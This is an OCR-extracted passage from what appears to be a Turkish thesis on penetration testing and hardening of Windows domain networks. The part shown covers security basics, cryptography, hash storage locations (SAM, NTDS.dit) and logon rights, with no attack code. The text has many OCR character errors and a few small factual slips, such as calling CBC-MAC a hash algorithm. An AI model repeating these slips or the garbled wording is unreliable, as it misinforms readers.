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Kurumsal Aglardaki Windows Ortamlarina Saldirilar ve Sikilagtirma

Yontemleri

Ertugrul BASARANOGLU
Oz

Giintimiizde teknolojinin geligimi ile birlikte kurumlar da bu geligime ayak uydurmakta ve
bu durum kurum icerisinde birden fazla teknolojinin, platformun, sistemin, uygulamanin
kullanilmasina sebep olmaktadir. Kurumsal ortamdaki bu karmasiklik saldir1 yiizeyini
arttirarak siber saldirilarganlarin igtahini kabartmakta ve siber saldirilarin artigina sebep
olmaktadir. Gerceklegebilecek muhtemel bu saldirilara karsi, kurumlarin sizma testle-
rine verdigi dnemi arttirmigtir. Bu amagla kurum personeli tarafindan ve dig kaynakh
firmalar tarafindan sizma testleri gerceklestirilmektedir. Ozel sektérde veya kamu sek-
toriinde gergeklegtirilen bu testler sonucunda sizma testi raporlar: hazirlanmakta ve bu
raporlara gore sistemler sikilagtirilmaktadir. Sizma testlerinin kapsamlarindan birisi olan
Etki Alan1 Sizma Testleri, kurumlardaki merkezi yonetimi kolaylagtirmak ve kurum icin-
deki sistemlerin giivenligini saglamak amaciyla kullanilan Microsoft Etki Alani’ndaki
sistemlerin zayifliklarini ortaya ¢ikarmayr amaclar. Etki alani giivenli bir gekilde yapi-
landirilmaz ise, merkezi yapinin yonetimi saldirganlarin eline gegebilir ve durum kurum
i¢in biiyiik zararlara sebep olabilir. Gergeklegtirilen bu ¢aligmada, genel kabul gormiisg
standartlar 1giiginda Microsoft etki alani sizma testleri icin bir metadoloji sunularak
saldirgan bakig agisiyla kurumsal i¢ agda Microsoft etki alanmi saldirilarinin temel adim-
lar1, bu saldirilar1 adimlarinin temel sebepleri ve saldirilara karst alinabilecek temel 6n-

lemler ortaya koyulacaktir

Anahtar Sozciikler: Microsoft Etki Alani, Sikilagtirma, Sizma Testi, Windows Sizma

Testi, Ag Sizma Testi, Fiziksel Giivenlik, Bilgi Giivenligi, Parola Saldirilari
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Bolum 1

Giris

Teknolojik gelismelere paralel olarak, karmagiklagan bilegenlerin yonetimi icin ortaya ¢ik-
mig merkezi ¢éziim etki alam olarak adlandirilmaktadir. Kurum sistemlerinin yonetildigi
bu teknoloji, operasyonel olarak biiyiik kolaylik sunmasinin yaninda giivenligi saglamak
igin de kullamildigindan kritik bir 6neme sahiptir. Sistemlerin merkezinde bulunmas: ve
yonetim 6zelliginin olmasindan dolay: etki alanlar: siber saldirganlar icin énemli hedefler
olmaktadir. Bu yiizden etki alanini giivenli bir gekilde yapilandirmak ve dogru bir gekilde
yonetmek biiyiik 6nem tagimaktadir. Ayrica periyodik olarak bu yapilandirmalar kontrol
edilmelidir. Aksi halde merkezi yapimin yonetimi saldirganlarin eline gecebilir ve bu du-
rum kurumlar i¢in biiyiik zararlara sebep olabilir. Kurumlar etki alanindaki sistemlerin
siber saldirilar kargisindaki durumunu gérmek, varsa zayifliklarim ortaya gikartmak ve bu
sonuclara gore onlem alabilmek icin Microsoft etki alam sizma testlerini yaptirmalidir-
lar. Sizma testleri sonucunda yapilacak iyilestirmeler ile sitemlerin daha giivenli ve siber

saldirilara kargi daha savunmali olmast saglanmaktadir.

Microsoft etki alani sizma testleri konusunda birgok goriig, uygulama ve yontem bu-
lunmaktadir. Bu caligmada; Microsoft etki alami ortaminda gergeklegtirilen saldirilarin
temel adimlari, bu saldirilarin gergeklegtirilme yontemleri, bu saldirilarin gergeklegmesine
sebep olan zayifliklar ve bu saldirilara kargi alinabilecek 6nlemler nelerdir gibi sorulara

cevap aranacaktir.

Calisma iceriginde, 2. béliimde konunun daha iyi anlagilabilmesi amaciyla, calisma kap-
saminda kullanilan kavramlar ve sizma testleri hakkinda genel bilgiler verilmistir. 3.

béliimde, bu konu ile ilgili daha 6nce yapilmig olan benzer ¢aligmalar incelenmistir. 4.

1



Bolim 1. Giris 2

béliimde ise tez ¢aligmasina konu olan kurumsal aglarda microsoft etki alani sizma testi
metodolojisi ve saldir1 teknikleri detayli bir gekilde agiklanmigtir. Ayrica, olugturulan
metodoloji ve saldir1 teknikleri 6rnek senaryolar tizerinden gerceklenmis ve sonuclar: de-
tayl olarak paylasilmigtir. 5. boliimde ise sizma testleri igin hazirlanan standartlar,
kilavuzlar ve metodolojiler incelenmig ve bu tezdeki metodoloji ile kargilagtirilmigtir. 6.
béliimde ise, etki alani saldirilarina karg: geligtirilmis olan temel korunma yontemlerinden

bahsedilmigtir. Son b&liim olan 7. béliimde ise ¢caligmanin sonuclar analiz edilmigtir.



Bolum 2

Temel Bilgiler

Bilgi, kurum i¢in degeri olan ve korunmasi gereken bir varliklar biitiiniidiir. Bir kurumda

bulunan ve korunmasi gereken varliklar temel olarak agagidaki gibidir:

Kurumsal degeri olan bilgiler

Miisterilere ait olan bilgiler

Tedarikgilere ait olan bilgiler

Internet {izerinden herkese acilan bilgiler

e Kurum icerisindeki ¢aliganlara veya ¢aliganlarin bir kismina agilan bilgiler ve servisler

2.1 Bilgi Giivenligi Temelleri

Bilgi giivenligi, kurumdaki bilgilere izinsiz olarak erisimden, kullanilmasindan, aciga
gikarlmasindan, imha edilmesinden, degigiklige ugramasindan veya zarar gérmesinden

korunmasi ve bu durumlar oldugu zaman olaylarin tespit edilebilmesi iglemidir [1].

2.1.1 Temel Unsurlar

Bilgi giivenliginin temelinde gizlilik, biitiinliik ve erigebilirlik yatmaktadir. Bu iicliiye
kisaca Confidentiality, Integrity, Availability ifadelerinin ilk harflerinden olugan CIA adi
verilmektedir. Bu unsurlar temel olarak su sekildedir:

3
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e Gizlilik (Confidentiality): Bilginin yetkisi olmayan taraflarin erigimine engellen-

mesi, sadece yetkili kigilerin erigimine acilmasi amaclanir.

e Veri Biitiinliigii (Data Integrity): Bilginin degistirilmemesi veya degistirildiginde

bunun tespit edilebilmesi amaglanir.

e Erigilebilirlik (Availability): Bilginin tam ve eksiksiz olarak ulagilabilirligi amaglanir.

CIA olarak kisaltilan bu {iclii arasinda bir denge vardir ve bu dengenin iyi saglanmasi
gerekmektedir. Genellikle gizlilik ve erigilebilirlik ters orantili olabilmektedir. Gizliligi

saglarken erigilebilirligi azaltmamak gerekir.

Bilgi giivenligi belirtilen 3 unsur haricinde daha bir¢cok unsurdan olugur. Gizlilik, biitiin-

likk ve erigilebilirlik haricindeki diger unsurlar agagidaki gibi tamimlanabilir [2—4].

e Giivenilirlik (Reliability — Consistency) : Sistemin beklendigi gibi tutarh bir gekilde

caligmasi amaclanir.

e Inkar Edememe (Non-repudiation): Bilgi iizerinde yapilan islemleri yapan tarafin

bu iglemleri inkar edememesi amaclanir.

e Kimlik Sinamasi / Dogrulama (Authentication): Bilgi iizerinde yapilan iglemlerin

sahibinin dogrulanmasi amaglanir.

e Yetkilendirme (Authorization): Bilgi iizerinde yapilan iglemlerin verilen role ve

yetkiye gore kisitlanabilmesi amaglanir.

e Izlenebilirlik/Kayit Tutma (Accountability): Bilgi iizerinde yapilan iglemlerin kay-

dinin giivenli olarak tutulmasi amaclanir.

2.1.2 Aciklik, Tehdit, S6miirme ve Risk

Aciklik, tehdit, risk ve sémiirme kavramlar: ¢ok sik kullanilan bilgi giivenligi kavram-

larindandir. Bu kavramlar agagidaki gibi tamimlanabilir [5].

e Agiklik (Vulnerability): Herhangi bir saldirganin sisteme zarar vermek igin yarar-
lanabilecegi sistemde bulunan agikliklardir. Acikhiklar sistemin yapisal tasarim
hatalarindan, sisteme yiiklenen programlardan ya da sistemlerdeki yanhg yapi-

landirma ayarlarindan kaynaklanabilir.
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e Tehdit (Threat): Isteyerek ya da istemeden bir kurum veya kurulusa zarar verme
ihtimali olan etkenlerdir. Tehdit tiirleri dahili ve harici tehdit unsurlar: olmak iizere

ikiye ayrilabilir.

— Dabhili Tehdit Unsurlari: Kurum igerisinden gelen tehditlerdir. Kurumdaki
temizlik gorevlisinin sunucu figini ¢ekmesi, personelin kolay bir parola kul-
lanmasi, igten ayrilan personelin kurum gizli verilerini kagirmasi 6rnek olarak

verilebilir.

— Harici Tehdit Unsurlar: Kurum digindan gelen tehditlerdir. Web sayfasinin
degistirilmesi, fidye yazilimlarinin kurum personeline génderilmesi, kurum sis-
temlerine hizmet disi birakma saldinlarimin dizenlenmesi vb. bir cok 6rnek

verilebilir.

e Risk: Tehditin gerceklesme veya bir saldirinin sisteme zarar verme olasiligi olarak

tanimlanabilir.

e Somiirme (Exploit): Sistemdeki bir acikligin istismar edilmesidir.

2.1.3 Pareto Prensibi

80’e 20 kurali olarak bilinen Pareto Prensibini giivenlik alanina, «alinabilecek 6nlem-
lerin %20’sinin alinmasi kargilagilabilecek saldirilarin %80’inden korunma saglar gek-
linde» uyarlanabilir [6]. Basit ve hizlica gergeklestirilebilecek birkag giivenlik énlemi,
kurumu giinliik hayatta kargilasabilecek saldirilarin %80’inden koruyacaktir. En basitin-
den giiclii bir parola politikasinin tiim kurumca uygulanmasi, kurulumu ve yonetimi
oldukca basit olan glincellegtirme servisleri ile kurumda kullamilan tiim sistemlerin en
son giincellegtirmeler ile donatilmasi gergekten de kargilagilacak cok sayida saldirilardan

sistemlerin korunmasina oldukca fazla oranda katk: saglayacaktir.

2.1.4 En Az Hak Prensibi

Diger bir giivenlik 6nlemi ise organizasyondaki kullanicilarin haklaridir. Bu amacla en
az haklar prensibi uygulanmaldir [7]. En az hak prensibi kullanicilarin rutin iglerini ya-
pabilmeleri icin gerekli, ihtiyac duyacaklar: kadar iznin verilmesi olarak tamimlanabilir.

Ornegin yedekleme islemi yapmasi gereken bir hesabin, etki alanina kullanici ekleme
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hakkinin olmasina gerek yoktur. Operasyonel kolaylik sagladigi i¢in kullamcilara tam
yetki verilmesi saldir1 yiizeyini arttirmaktadir. Ayrica organizasyon igerisinde gorevler
ayrihigr ilkesi uygulanmalidir. Operasyonu gerceklestiren, yetkileri veren ve iglemleri

denetleyenler farkli personel olmalidir.

En az hak prensibini uygulanirken oncelikle kullanicilarin tiim haklari kaldirilir, son-
rasinda da ihtiyaci oldugu diigiiniilen izinler kendilerine atanir. Bu amacla belli sablon-
lar kullanilmahdir. Hak yiikseltme talepleri i¢in organizasyon icerisinde talep yo6netim
sistemleri kullanilmalidir. Bu prosediirlere gore, ilgili kullanicinin baz bilgileri (IP, kul-
lanic1 adi, hakkin gecerlilik siiresi vb.) belli onay mekanizmalarindan gegtikten sonra
istenen hakkin verilip verilmeyecegi degerlendirilir. Verilen bu haklar belli araliklarla

gozden gecirilmeli, bu haklar ile gergeklestirilen iglemler denetlenmelidir.

2.2 Temel Saldir1 Tipleri

Bilgisayar ve ag giivenligine yonelik cesitli saldirilar gerceklestirilmektedir [8]. Bu saldirilar
siiregsel olarak 4 kategoride toplanabilir. Normal trafik akisi ve bu akiga kargi gergek-

lestirilebilecek temel saldir tipleri agagidaki gibi siralanabilir:

Engelleme: Tki sistem arasindaki veri trafigi kesilebilir.

e Dinleme: Tki sistem arasindaki veri trafigi okunabilir.

Degistirme: Tki sistem arasindaki veri trafigi degistirilebilir.

Olugturma: Digaridaki bir kaynaktan yeni bir trafik olugturulabilir.

Bu saldin tiplerine kargi, CTA ve diger giivenlik unsurlar: saglanmalidir. Bu amagla bir

takim tedbirler alinmalidir. Alinabilecek tedbirler sonraki boliimde incelenecektir.

2.3 Saldirgan Siniflari

Saldirilart gerceklegtiren kigi veya gruplar temel olarak agagidaki gibi 3 baghk altinda
simiflandirilabilir [9, 10]:
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e Siyah Sapkali Saldirganlar: “Black Hat Hackers” veya “Crackers” olarak da ad-
landirilabilirler. Bu tiir saldirganlar k&tii niyetli olup hedeflerine zarar vermeyi

amaglarlar.

e Beyaz Sapkali Saldirganlar: “White Hat Hackers”, “Kthical Hackers” veya “Secu-
rity Analysts” olarak da adlandirilabilirler. Bu tiir saldirganlar iyi niyetli ve etik
kigiler olup, hedeflerine zarar vermeyi amaclamazlar. Siyah gapkal saldirganlarin
yapabileceklerini gostererek, yeteneklerini ve bilgilerini koruma (defansif) amaci ile

kullamrlar.

e Gri Sapkal Saldirganlar: “Gray Hat Hackers” olarak da adlandirilabilirler. Bu tiir

saldirganlar iyi veya kotii niyetli olabilir.

Bunlarin yaninda diger saldirgan siniflarindan bazilar: agagidaki gibi siralanabilir:

Hacktivists

Script Kiddies

Suicide Hackers

Phreaker

Cyber Terorrists

2.4 Kriptografi Temelleri

Bu baglik altinda temel kriptografi yontemleri olan gifreleme ve 6zet alma iglemlerinin

yamni sira ¢ok agamali kimlik dogrulama konusu incelenecektir.

2.4.1 Cok Asamali Kimlik Dogrulama

Giintimiizde en 6nemli konulardan birisi kimlik dogrulamadir. Kimlik dogrulama saldirilarina
karsi bir takim oOnlemler alinmaktadir. En onemli 6nlemlerden birisi de ¢oklu kimlik

dogrulamadir. Coklu kimlik dogrulama yontemleri agagidaki gibi siralanabilir [11].
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e Something you know (Bilinenler): Bilgiye erigim i¢in kullanicimin bildigi bir veri

kullanilir. Parola, gizli soru 6rnek olarak verilebilir.

e Something you have (Sahip olunanlar): Bilgiye erigim i¢in kullanicinin sahip oldugu

veri kullamubr. Akill kart (PIN), telefon (SMS) 6rnek olarak verilebilir.

e Something you are (Oldugun): Bilgiye erigim i¢in kullaniciya ait olan (genellikle

biyolojik) bir veri kullanilir. Parmak izi, retina 6rnek olarak verilebilir.

2.4.2 Sifreleme

Sifreleme bilginin gizliligini korumak i¢in geri déndiiriilebilecek forma sokulmasidir. Sifreleme
islemlerinde kullanilan anahtarin uzunlugu olduk¢a 6nem arz etmektedir [12]. Sifreleme

yontemleri temel olarak ikiye ayrilir:

e Simetrik Sifreleme: Sekil 2.17 de goriildiigii gibi sifreleme ve gifre ¢ozmede ortak
anahtar kullanihir. Oldukga hizhi bir yontemdir. Ancak anahtar dagitimi ve anahtar

depolanmasi gibi bir takim sorunlar1 vardir.

Ortak Anahtar

AES, DES, 3DES, RC4...

M

Ortak Anahtar

SEKIL 2.1: Simetrik Sifreleme

e Asimetrik Sifreleme: 2.2 ’de de goriildiigii gibi genel ve 6zel anahtar ciftleri ile
sifreleme ve sifre ¢ozme islemleri gerceklesir [13]. Ozel anahtar hig bir taraf ile pay-
lagilmaz ve 6zel anahtar kullanilarak genel anahtar elde edilebilir. Genel anahtar ise
herkes ile paylagilabilir. Alicinin genel anahtari ile gifrelenen bilgi, sadece alicinin
0zel anahtari ile agilabilir. Gonderici taraf kendisinde bulunan 6zel anahtar ile
imzaladigi bilgiyi herhangi bir taraf gondericinin genel anahtari ile dogrulaya-
bilir. Bu sebeple inkar edilememezlik saglanabilir. Asimetrik gifreleme yontemi
ile anahtar dagitim ve depolama problemine ¢éziim bulunmugtur. Bunun yaninda

bu yontem yavastir.
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Alici Genel Anahtan

RSA, DSA, Eliptik egri,...

7

Alici Ozel Anahtan

Gonderici Ozel Anahtarn

3 RSA, DSA, Eliptik egn,...@

o Gonderici Genel Anahtan

SEKIL 2.2: Asimetrik Sifreleme

2.4.3 Ozet Alma

Giiniimiizde verinin biitiinliigiinii (ve gizliligini) saglamak énemli bir konudur. Ozetleme
(hashing), temel olarak verinin biitiinliigiinii saglamak i¢in kullanilan bir yontemdir [14].
Orijinal veriyi ve 6zetini alan kullanicinin orijinal metnin degistirilmediginin anlagilmasi
hedeflenmektedir. Ozeti almmig veri geri déndiiriilemeyecek sekilde karg: tarafa gonder-

ilir. Ozet alma fonksiyonlar1, temel olarak iki amacla kullanilir:

Verinin biitiinliigii kontrol edilir. Béylece verinin bir gekilde degismediginden emin

olunur.

e Biyik boyutlardaki verinin boyutu sabit uzunlukta olan daha kiigiik boyuta in-
dirgenir. Boylece hedefe gonderilecek verinin boyutu diigiirtilmektedir. “MER-

HABA” kelimesi icin basit bir 6zet alma fonksiyonu agagidaki gibi tanimlanabilir:

e Tiim harflerin Tiirkce alfabeye gore sayisal degeri hesaplanir. Bu sayisal degerler

“M=16", “E=6", “R=217, “H=10", “A=1", “B=2", “A=1" olarak bulunabilir.
e Tiim degerler toplanir. Sonug olarak 16+6+21+104+1+2+1=57 olarak bulunur.

e Sonug degeri olarak bulunan 57 6zet fonksiyonunun sonucudur.
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Kisacas1 OzetFonsksiyonu(“MERHABA”)=57"dir. 57 degerinden “MERHABA” ifadesi
elde edilemez. Ancak “MERHABA” ifadesi ayni 6zetleme algoritmasina igleme sokul-

dugunda her defasinda 57 degerini verir.

Ozetleme algoritmalari ile ilgili bazi énemli noktalar sunlardir:

e Ozetleme algoritmalar icin simetrik / asimetrik gibi bir simflandirma yoktur.

Ozetleme algoritmalar1 anahtar kullanmazlar.

o Ozetleme fonksiyonlari, tek yonliidiir. Bu sebeple, 6zetlenen veriden, asil veri elde
edilemez. Geri doniigtiiriilememesinin garanti edilebilmesi ic¢in giiclii algoritmalar

kullamilmalidir.

e Ayni metin, aym 6zetleme algoritmasi ile igleme koyulursa her defasinda ayni sonug

ortaya c¢ikar. Bu sebeple biitiinlitk kontrolii gergeklestirilebilir.

e Giiclii bir 6zetleme algoritmasi ile metin iizerindeki kii¢iik bir degigiklik, ¢iktida

biiyiik degisiklige sebep olur.
e Blok uzunlugu ne kadar fazla olursa o kadar giivenilirdir.

e Giivenilir bir 6zetleme fonksiyonunda ¢akigma ihtimali oldukca az olmalidir; ¢akig-
maya dayanikli olmahidir. Aksi halde 6zellikle kimlik dogrulama iglemlerinde zafiyet
ortaya cikar. Ornegin “Aal123456!qwerty.asdfgh?” seklindeki karmagik bir parolanin
ozeti ile “Test123” gibi bir parolanin 6zeti ayni c¢ikar ise; kaba kuvvet veya sozliik
saldirilar ile deneme yapildiginda, Test123 gseklindeki bir parola ile karmagik gsekilde

parola kullanan bir kiginin oturumu acilabilir.

Ozetleme algoritmalar1 sayisal imzalama sirasinda kullanilmaktadir. Verinin kendisi
imzalanarak génderilmez, bunun yerine verinin 6zeti imzalanir boylece hem operasyonel
maliyet, hem de iletigim maliyeti diigiiriiliir. En yaygin kullanilan 6zetleme algoritmalari
SHA-1, SHA-2, CBC-MAC algoritmalaridir. Ozet alma iglemleri bircok alanda kullanil-

maktadir. Ozetleme fonksiyonlarmin en ¢ok kullanildig1 alanlar asagidaki gibidir.
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2.4.3.1 Mesaj Dogrulama Kodu (Message Authentication Code — MAC)

Mesaj Dogrulama Kodu'nda bir veri ve 6zeti hedefe beraber gonderilir. Alici taraf,
veriyi 6zetleyerek, kendisine gelen 6zet degeri ile karsilagtirir. Ozet degerleri ayni ise veri

degismeden ulagmig demektir [15].

2.4.3.2 Parolalarin Saklanmasi

Parolalarin saklanmasi amaci ile de 6zet fonksiyonlar: kullanilir. Bdylece parola zeti
kaybedilse bile, parolanin kendisinin elde edilememesi amaclanir. Parola 6zetleri temel

olarak igletim sistemleri ve uygulamalarda agagida belirtildigi sekillerde kullanilabilir.

e Windows istemci bilgisayarlarinda (SAM ve SYSTEM dosyalarinda) LM veya NTLM
ozetleri, Microsoft etki alani denetleyicisinde (NTDS.dit ve SYSTEM dosyalarinda)
LM veya NTLM ozetleri, Linux igletim sistemlerinde (/etc/shadow) MD5 gibi

ozetler kullanilir.

e Veritabani (Oracle, MS SQL gibi) kullanic1 hesaplar1, web uygulamalarina ait kul-

lanici hesaplarina ait parolalar: saklanilirken 6zetleme algoritmalar: kullanilir.

2.4.3.3 Sayisal Imza

Veri transferi sirasinda, géndericinin kimligini kanitlamasini saglama ve verinin degigme-
digini gostermek icin sayisal imza kullamlir [16]. Sayisal imzalama iglemi 2 agamadan

olusur:

e Veri bir 6zetleme algoritmasi ile 6zetlenir.

e Ozetlenmig veri gondericinin 6zel anahtari ile imzalanir.

Gonderici taraf, 6zetleyip imzaladigi veriyi ve verinin asil halini génderir. Bunu alan taraf
verinin dzetini alir; imzalanmig veriyi géndericinin genel anahtar ile dogrular ve bu iki
veriyi kargilagtirir. Ayni ise gonderici tarafin dogrulugu ve verinin biit{inligii ispatlanmig

olur.
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Bunun yaninda Agik Anahtar Altyapisi (Public Key Infrastructure — PKI) ile giivenli bir

altyapr olusturulurken de ézetleme fonksiyonlari kullanilir.

Not: Mesaj Dogrulama Kodu ile Sayisal Imza arasindaki en biiyiik fark; sayisal imzanin

Inkar Edilememezlik saglamasidir.

2.4.3.4 Veri Gizliligini Saglama

Ozetleme fonksiyonlarmin kullanim alanlarmdan bir digeri de verilerin gizliliginin saglan-
masidir. Raporlardaki veya veri tabanlarindaki verilerin ciktilari iizerinde kargilagtirilma
yapilmasi, analiz islemlerinin gerceklestirilmesi gibi bir ihtiyac¢ olabilmektedir. Ornegin
birbiri ile iligkili olmayan iki veri tabanindaki Tiirkiye Cumhuriyeti Kimlik Numarasi
(TCKN), kredi kart1 numaras gibi tekil bir alan ortak kullaniliyor ancak bu alanin ii¢iincii
sahsin eline ge¢mesi istenmiyorsa, bu alan iki veri tabaninda ayni sekilde 6zetlenerek,
ticiincii sahislara verilebilir. Boylece ortak tekil bir veri olugturulmus olur. Verinin (kredi
kart1 numarasi gibi) geri dondiiriilemeyecek sekilde saklanmasini isteyen PCI-DSS gibi

bazi standartlar igin 6zetleme algoritmalar: kullanilabilir.

2.4.3.5 Veri Boyutunun Kiiciiltiilmesi

Antiviriis gibi bir ¢ok imza tabanlh giivenlik sistemi, zararl aktivite tespit etmeye caligtik-
larinda, bu aktivitenin kaynaginin zararli olup olmadigini veri tabanlarindaki bazi bil-
giler ile karsilagtirmaya caligirlar. Eger kargilagtirilacak veri ¢ok biyiik olursa, bu veriyi
saklama maliyeti de yiiksek olur. Bu sebeple verinin kendisi degili verinin o6zeti ile
kargilagtirma yapilir. Bir ¢ok zararli yazilim da kaynaginda kiigiik degigiklikler yaparak

6zet degerinin degigmesini saglar ve antiviriisleri atlatir.

2.4.3.6 Verinin Degigtirilmediginin Kontrolii

Bir cok konuda ele gegirilen verinin degistirilmediginden emin olmak icin 6zetleme algo-

ritmalar: kullanilabilir. Bu veriler agagidaki gibi olabilir:

e Adli biligim verileri (bir disk imaji, bir dosya veya klasor)
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e Sistem (C:\Windows\System32 dizini altindaki) veya kritik dosyalarda (6zel anahtar-

larin, gizli verilerin tutuldugu dizinlerde)
e Bir uygulama dosyasi veya kod (apk, siiriicii, java kodu, ActiveX vb.)

e Bitlocker, PGP, Truecrypt gibi araclarla gifrelenen diskler veya dosyalar

2.5 Windows Igletim Sistemi ve Microsoft Etki Alan1 Temel-

leri

2.5.1 Caligma Gruplar1 (Workgroups)

Cahgma Gruplar1 (Workgroups), tekil olarak ¢aligan bilgisayar grubudur. Her bilgisa-
yarin yerel kullanicisi ve gruplari vardir. Bu bilgisayarlar merkezi olarak yonetilmez,

dagitik bir yapilar vardir. Her bilgisayar aym degerdedir.

2.5.2 Etki Alan1 (Domain)

Cok sayida bilgisayarin yonetilmesi icin Microsoft tarafindan sunulan yapidir. Her bil-
gisayarin yerel kullanicilar1 (ve gruplari) olmak ile beraber bu kullamcilar sistem yo-
neticileri tarafindan kullanilirken, bu bilgisayarlara etki alanindaki hesaplar ile oturum
agihir. Etki alanindaki nesneleri (bilgisayar, kullanici, grup vb.) yonetmek i¢in Domain

Controller adi verilen bir bilgisayar kullanilir.

2.5.3 Kullanicilar ve Bilgisayarlar

Kullanic; bir bilgisayarda oturum agabilen herhangi bir varliktir. Temelde tiim giivenlik
prensipleri de kullanicilarla iligkilidir. Windows igletim sistemlerinde iki tiirde kullanici
olabilir, yerel (local) ve etki alan1 (domain) kullamcilar:. Yerel bir kullanic1 bilgisayarda
Security Accounts Manager (SAM) veri tabaninda (Windows\system32\config\SAM)
tamumlidir [17]. Windows temelli tiim bilgisayarlarda ilgili bilgisayardaki kullanicilar:

igeren yerel bir SAM veri tabani bulunmaktadir.

Genellikle etki alani denetleyicilerinde (DC) yerel SAM veri tabanmin bulunmadig1 ve

bu nedenle yerel kullanicisinin bulunmadig diigiliniiliir fakat bu yanhg bir bilgidir. Etki
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alani denetleyicisi dahi olsa, yerel bir SAM veri tabam vardir ve bu veri tabaninda bulu-
nan kullanicilar yalnizca Directory Services Restore Mode’da kullanilabilir. Varsayilan
olarak yerel SAM veri tabaninda Administrator ve Guest olarak iki kullanici hesabi bu-

lunmaktadir. Guest hesabi1 varsayilan olarak devre digi olarak yer almaktadir.

Windows Server 2008 siiriimiinde Administrator hesabi varsayilan olarak etkin halde
gelmektedir ve sisteme ilk kez oturum agmakta kullanilir. Windows Vista siiriimiinde
ise Administrator hesabi varsayilan olarak devre digi gelmektedir ve ihtiya¢ duyulmasi

halinde nadiren etkin olarak kullanilir.

Diger hesap tiirii olan etki alani kullanicist ise yalnizca bir etki alaninin kurulu oldugu
ortamlarda tamimhdir ve yerel hesaplar ile kargilagtirildiginda oldukca fazla sayida 6zelligi
biinyesinde barindirmaktadir. Ornek olarak telefon numaralari, e-posta hesaplari, kurum
bilgileri gibi. Etki alani hesaplarina ayrica ag iizerindeki kaynaklara erigebilme hakki
tamimlanabilir. Ayrica etki alanmi hesaplari ag yonetim igini kolaylagtirir. Etki alam
kullanicy bilgileri, etki alani denetleyicisi tizerindeki NTDS (Windows\NTDS\ntds.dit)

dosyasinda saklanir [18].

Bir bilgisayar Aktif Dizin ortaminda bagka bir kullanici tiirii olarak tanimlanmaktadir.
Bu, Aktif Dizin’in gerceklegtiriminde kullanilan kalitim nedeniyle gerceklegir. Bir bilgisa-
yvar kullanici sinifindan kalitlayan bir nesnedir. Tiim nesneler top simifindan tiiremistir

ve bilgisayar nesneleri de kullanici simifindan tiiremigtir.

Tekil bir bilgisayarda en yetkili kullanicit ashinda SYSTEM hesabidir. Ancak Administra-
tors grubu tiyelerinin SYSTEM kullanicisina gegisi olabildigi icin en yetkili kullanicilarin

Administrators grubu iiyesi kullanicilar oldugu séylenebilir.

Etki alaninda ise en yetkili gruplar Domain Admins ve Enterprise Admins grubu iiyeleridir.
Domain Admins bulunulan etki alaninda yetkili iken, Enterprise Admins ise giiven iligkisi

kurulan (trust relationship) diger etki alanlarinda da yetkiye sahip olabilmektedir.

2.5.4 Gruplar

Herhangi bir nedenle bir nesneye erigmek istenildiginde igletim sistemi erigilmeye caligilan
nesne iizerinde erismeye caligan nesnenin izninin olup olmadig: kontrol edilir. Isletim sis-

temlerinin ilk tasarimlarinda nesneler iizerinde her bir kullaniciya tek tek izin atamasinda
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bulunuyordu. Fakat bu iglemin kullanici sayisimin arttigit durumlarda yonetilmesinin
imkansiz oldugu goriildii ve bundan sonra izinler kigilerden ziyade kullanicilara atan-

maya baslandi.

Gruplara kullamicr iiyeligi saglanmasiyla da bu problem ortadan kaldirildi. Bir gruba
kullanicilardan bagka nesnelerin de {iye yapilabilecegi akilda bulundurulmalidir. Hatta

gruplar da birbirlerine {iye olup iiyelikten cikarilabilirler.

Etki alan denetleyicisi olmayan bilgisayarlarda iki tiirde grup vardir. Ilki igletim sis-
temi kuruldugunda dahili olarak gelen yerlegik (built-in) gruplar, digeri ise sonradan

yoneticiler tarafindan olugturulan gruplar.

2.5.5 SID (Security Identifier)

Security Identifier (SID), bilgisayarlara, kullanicilara, servislere ve giivenlik gruplarina
verilen benzersiz giivenlik tamimlayicilaridir [19]. SID degerine sahip olan bir nesne diger

nesnelere gore kendisini ayirt eder. Bu sebeple TCKN 'na benzetilebilir.

Oturumu agan kullanici hakkinda ayrintih bilgi i¢in "whoami" araci kullanilabilir. Bu

arag kullanilarak, mevcut kullanicinin SID degeri elde edilebilir. Sekil 2.3 'te de goriildiigi
n

gibi
edilebilir.

wmic" araci kullanilarak da yerel bilgisayardaki tiim kullanicilarin SID degeri elde

CisllzerssYerel Yoneticilwmic useraccount get name . sid

Mame SID

Administrator 5-1-5-21-2649185678-1907116678-1413383764-56A
Guest 5-1-5-21-2649185678—-1907116678-1413383764-581

5-1-5-21-2642185678-1907116678-1413383764-18082
5-1-5-21-2642185678-190711667V8-1413383764-180008

SEKIL 2.3: SID Degerleri

2.5.6 Oturum Ac¢ma Haklar1

Oturum a¢ma haklar1 sisteme oturum a¢madan Once gergeklestirilen kontrollerdendir ve
sisteme kimin ne gekilde oturum acabilecegini veya oturum a¢gmasinin engellenecegi belir-
lenebilir. Bir kullanicinin sisteme interaktif olarak klavye araciligiyla, ag iizerinden veya
servis olarak oturum agip agamayacag: belirlenebilir. Her bir oturum acma metodu igin

bir ¢ift oturum agma metodu vardir. Bunlardan biri belirlenen oturum a¢gma metoduna
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izin verilmesi (allow) iken digeri oturum agilmasini engellemektedir (deny). Bir kullanica
yada grubun bir bilgisayarda oturum acgmast engellenmek isteniyorsa, ilgili kullanict o
bilgisayarda oturum ac¢may1 engelle (Deny logon locally) hakkinin atanmasi yeterli ola-
caktir. Herhangi bir kullameci ya da grubu hak atamasinda bulunurken Engelle (Deny)
haklarmin, Izin Ver (allow) haklarma gore énceliginin oldugu unutulmamahdir. Dikkatli
sekilde atanmayan kullanici haklari, hakk: atayan kullanicinin da sisteme erigiminin en-

gellenmesine neden olabilir. Bu tarz yanhs kullamimlara dikkat etmek gerekmektedir.

Onemli bazi oturum agma izinlerinden bahsedilecek olursa [20];

e Access this computer from the network (SeNetworkLogonRight): Kullanicilarin ag
tizerinden sisteme baglanmasina izin verir. Varsayilan Ayar: Administrators, Power

Users, Users, Everyone, Backup Operators.

e Allow logon through terminal services (SeRemotelnteractiveLogonRight): Uzak
Masaiistii Baglantisi (RDP) ile sisteme baglanabilecek kullanicilar: tanimlar. Varsa-

yllan Ayar: Administrators, Remote Desktop Users.

e Log on locally (SelnteractiveLogonRight): Kullanicilarin interaktif olarak klavye
ile sisteme oturum agmalarina izin verir. Varsayilan Ayar: Administrators, Power

Users, Users, Guest, Backup Operators.

e Deny access to this computer from the Network (SeDenyNetworkLogonRight): Bu

bilgisayara ag lizerinden baglanilmasini engeller.

e Deny logon locally (SeDenylInteractiveLogonRight): Bir kullanicinin interaktif olarak

oturum agmasini engeller.

e Deny logon through terminal services (SeDenyRemotelnteractiveLogonRight): Uzak

